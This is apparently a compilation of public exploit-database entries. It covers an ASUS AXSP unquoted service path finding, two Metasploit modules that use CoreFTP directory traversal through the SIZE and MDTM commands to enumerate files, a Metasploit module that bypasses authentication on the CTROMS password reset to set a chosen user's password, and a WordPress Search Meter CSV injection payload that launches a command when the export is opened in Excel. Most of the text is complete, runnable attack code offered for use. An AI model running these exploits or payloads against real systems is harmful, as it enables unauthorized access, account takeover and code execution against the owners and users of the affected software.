# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path # Discovery by: Roberto Piña # Discovery Date: 2020-03-10 # Vendor Homepage: https://www.asus.com/ # Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755 # Tested Version: 1.02.00 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 en # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """ ASUS Com Service asComSvc C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto C:\>sc qc asComSvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: asComSvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ASUS Com Service DEPENDENCIES : RpcSs SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.
-
CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def proto 'ftp' end def initialize super( 'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal', 'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information}, 'Author' => [ 'Kevin Randall' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-9648' ], [ 'BID', '107446' ], [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ] ], 'Disclosure Date:' => 'March 13 2019' ) register_options([ Opt::RPORT(21), OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ), OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ), OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] ) ]) end def run_host(ip) print_status("Logging into FTP server now with supplied credentials") c = connect_login return if not c print_status("Performing exploitation of the SIZE command to enumerate files") path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME'] res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock) data = res.to_s print_status("Performing analysis.... Please wait") if (data.include? "213" ) print_good ("And the circle hits the square!") print_good ("File Exists. Here is the filesize:"+ data[4..-1]) return res else print_error("Mission Failed We'll get them next time!") print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect") return res end end end
-
CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def proto 'ftp' end def initialize super( 'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal', 'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.}, 'Author' => [ 'Kevin Randall' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-9649' ], [ 'BID', '107449' ], [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ] ], 'Disclosure Date:' => 'March 13 2019' ) register_options([ Opt::RPORT(21), OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ), OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ), OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] ) ]) end def run_host(ip) print_status("Logging into FTP server now with supplied credentials") c = connect_login return if not c print_status("Performing exploitation of the MDTM command to enumerate files") path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME'] res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock) data = res.to_s print_status("Performing analysis.... Please wait") if (data.include? "213" ) print_good ("And the circle hits the square!") print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1]) return res else print_error("Mission Failed We'll get them next time!") print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect") return res end end end
-
CTROMS Terminal OS Port Portal - 'Password Reset' Authentication Bypass (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' , 'Description' => %q{ This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure. In order to exploit this vulnerability, the username must be known. Exploiting this vulnerability create a new password for the user you specified and present it to you. The "verification code" and "cookie generate" functions required to reset the password contain vulnerability. When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset. But this verification code written in the database is also reflected in the response of the request. The first vector would be to use this verification code. The second vector is the "rand" cookie values returned in this request. These values are md5. If these values are assigned in the response, password reset can be done via these cookie values. Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ] }, 'References' => [ [ 'CVE', '' ], [ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ], [ 'URL', 'https://www.globalservices.bt.com' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "March 2 2020", 'DefaultOptions' => { 'SSL' => true } )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'Username']), OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)]) ]) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def check begin res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}" }) rescue return Exploit::CheckCode::Unknown end if res.code == 200 and res.body.include? '"rand"' return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def run unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}" }) if res.code == 200 and res.body.include? '"mobileMask"' print_good("Excellent! password resettable for #{datastore["USERNAME"]}") else fail_with(Failure::NotVulnerable, 'The user you specified is not valid') end begin res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}" }) @cookie = res.get_cookies res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getresult.jsp'), 'cookie' => @cookie, 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}" }) if res.body.include? 'result":10' print_good("boom! Password successfully reseted.") print_good("Username : #{datastore["USERNAME"]}") print_good("Password : #{datastore["PASSWORD"]}") else fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}") end end end end
-
WordPress Plugin Search Meter 2.13.2 - CSV injection
# Exploit Title: Wordpress Plugin Search Meter 2.13.2 - CSV Injection # Google Dork: N/A # Date: 2020-03-10 # Exploit Author: Daniel Monzón (stark0de) # Vendor Homepage: https://thunderguy.com/semicolon/ # Software Link: https://downloads.wordpress.org/plugin/search-meter.2.13.2.zip # Version: 2.13.2 # Tested on: Windows 7 x86 SP1 # CVE : N/A There is a CSV injection vulnerability in the Export function of the Search Meter plugin version 1) First we introduce the payload in the search bar in Wordpress =cmd|' /C notepad'!'A1' 2) Then we go to http://127.0.0.1/wordpress/wp-admin/index.php?page=search-meter%2Fadmin.php and export the CSV file 3) After that we open the file in Excel, and import data from an external file, using comma as separator 4) Payload gets executed Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016